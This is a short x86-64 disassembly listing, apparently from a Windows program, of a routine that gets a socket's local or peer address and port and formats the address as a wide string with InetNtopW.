lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x140026f74
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x140026f7a
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x140026f82
xor eax, eax
jmp 0x140026ffd
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_InetNtopW
test rax, rax
je 0x140026fd8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, 1
inc eax
mov dword [rdi], eax
jmp 0x140026ff6
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x140026ff6
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret